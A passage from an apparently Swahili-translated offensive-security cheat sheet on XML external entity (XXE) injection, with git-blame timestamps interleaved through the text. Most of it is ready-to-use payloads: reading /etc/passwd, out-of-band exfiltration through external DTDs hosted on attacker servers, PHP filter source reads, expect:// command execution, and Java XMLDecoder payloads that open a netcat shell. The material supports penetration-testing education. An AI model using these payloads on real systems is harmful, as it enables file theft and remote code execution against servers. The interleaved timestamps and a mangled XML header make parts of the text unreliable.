Unaweza kutumia \[**"Mwongozo wa Kubadilisha" wa cyberchef hapa ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) kubadilisha hadi UTF-7.
2024-02-06 03:10:38 +00:00
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### Faili:/ Kupuuza Itifaki
Ikiwa wavuti inatumia PHP, badala ya kutumia `file:/` unaweza kutumia **php wrappers** `php://filter/convert.base64-encode/resource=` kwa **kupata faili za ndani**.
2021-08-23 12:33:52 +00:00
Ikiwa wavuti inatumia Java unaweza kuangalia [**itifaki ya jar**](xxe-xee-xml-external-entity.md#jar-protocol).
2021-08-23 12:33:52 +00:00
2024-02-11 02:13:58 +00:00
### Entiti za HTML
2021-08-23 12:33:52 +00:00
Mbinu kutoka [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Unaweza kuunda **entiti ndani ya entiti** ikichakatwa na **entiti za html** na kisha kuita ili **kupakia dtd**.\
Tafadhali kumbuka kuwa **Entiti za HTML** zinazotumiwa lazima ziwe za **nambari** (kama \[mfano huu]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
2024-02-06 03:10:38 +00:00
```xml
2022-04-05 22:24:52 +00:00
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
2021-08-23 12:33:52 +00:00
<data>
2024-02-11 02:13:58 +00:00
<env>&exfil;</env>
2021-08-23 12:33:52 +00:00
</data>
```
2024-02-11 02:13:58 +00:00
Mfano wa DTD:
2024-02-06 03:10:38 +00:00
```xml
2021-08-23 12:33:52 +00:00
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
```
2022-09-30 10:43:59 +00:00
## PHP Wrappers
2022-09-30 10:43:59 +00:00
### Base64
**Chambua** _**index.php**_
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
2024-02-11 02:13:58 +00:00
#### **Chota rasilimali ya nje**
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
### Utekelezaji wa kanuni kwa mbali
**Ikiwa moduli ya PHP "expect" imepakuliwa**
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
2024-02-11 02:13:58 +00:00
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
```
2022-09-30 10:43:59 +00:00
## **SOAP - XEE**
2024-02-11 02:13:58 +00:00
```xml
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
## XLIFF - XXE
Mfano huu umehamasishwa katika [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
2024-02-11 02:13:58 +00:00
XLIFF (XML Localization Interchange File Format) hutumiwa kustahimilisha kubadilishana data katika michakato ya upelekaji wa lugha. Ni muundo uliojikita kwenye XML unaotumiwa hasa kwa uhamishaji wa data zinazoweza kuhuishwa kati ya zana wakati wa upelekaji wa lugha na kama muundo wa kawaida wa kubadilishana kwa zana za CAT (Computer-Aided Translation).
2024-02-11 02:13:58 +00:00
### Uchambuzi wa Ombi Bubu
Ombi linatumiwa kwa seva na yaliyomo yafuatayo:
2024-02-06 03:10:38 +00:00
```xml
2021-07-20 10:48:25 +00:00
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Hata hivyo, ombi hili linaanzisha kosa la seva la ndani, likitaja hasa tatizo na tamko za alama:
2024-02-05 02:29:11 +00:00
```json
2021-07-20 10:48:25 +00:00
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
Licha ya kosa, hiti inaandikwa kwenye Burp Collaborator, ikionyesha kiwango fulani cha mwingiliano na kifaa cha nje.
2021-07-20 10:48:25 +00:00
Udhalilishaji wa Data Nje ya Bandari Ili kudhalilisha data, ombi lililobadilishwa hutumwa:
2024-02-05 02:29:11 +00:00
```
2021-07-20 10:48:25 +00:00
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Hii njia inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotambuliwa na toleo hili la Java ni uwezo wa kurejesha faili zinazohusisha herufi mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band.
2021-07-20 10:48:25 +00:00
Udakuzi wa Data kwa Makosa Ili kushinda kikwazo hiki, njia ya Udakuzi wa Data kwa Makosa inatumika. Faili ya DTD imeandaliwa kama ifuatavyo kusababisha kosa ambalo linajumuisha data kutoka kwa faili ya lengo:
2024-02-05 02:29:11 +00:00
```xml
2021-07-20 10:48:25 +00:00
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
Server inajibu na kosa, ikionyesha kwa umuhimu faili isiyopo, ikionyesha kuwa server inajaribu kupata faili iliyotajwa:
2021-07-20 10:48:25 +00:00
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
Kuingiza maudhui ya faili katika ujumbe wa kosa, faili ya DTD imeboreshwa:
2024-02-05 02:29:11 +00:00
```xml
2021-07-20 10:48:25 +00:00
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
Hii mabadiliko inapelekea kufanikiwa kwa kuvuja kwa maudhui ya faili, kama ilivyoonyeshwa kwenye pato la kosa lililotumwa kupitia HTTP. Hii inaashiria shambulio la XXE (XML External Entity) lililofanikiwa, likitumia mbinu za Out of Band na Error-Based kutoa taarifa nyeti.
2021-07-20 10:48:25 +00:00
2022-09-30 10:43:59 +00:00
## RSS - XEE
2024-02-11 02:13:58 +00:00
XML halali na muundo wa RSS kutumia udhaifu wa XXE.
2022-09-30 10:43:59 +00:00
### Ping back
2024-02-11 02:13:58 +00:00
Ombi rahisi la HTTP kwa seva ya mshambuliaji
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
2024-02-11 02:13:58 +00:00
### Soma faili
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
### Soma nambari ya chanzo
Kutumia kichujio cha PHP cha base64
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
2022-09-30 10:43:59 +00:00
## Java XMLDecoder XEE to RCE
XMLDecoder ni darasa la Java ambalo hujenga vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mwenye nia mbaya anaweza kupata programu kutumia data ya kupita kwa wito wa njia **readObject**, atapata mara moja utekelezaji wa nambari kwenye seva.
2024-02-11 02:13:58 +00:00
### Kutumia Runtime().exec()
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
2024-02-11 02:13:58 +00:00
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
```
2022-09-30 10:43:59 +00:00
### ProcessBuilder
### MchakatoJenga
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
2024-02-11 02:13:58 +00:00
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
```
2024-02-11 02:13:58 +00:00
## Vifaa
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
2024-02-11 02:13:58 +00:00
## Marejeo
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
* Pata habari kupitia HTTP kwa kutumia DTD ya nje: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
2024-02-06 03:10:38 +00:00
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
2022-04-28 16:01:33 +00:00
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-02-03 14:45:32 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>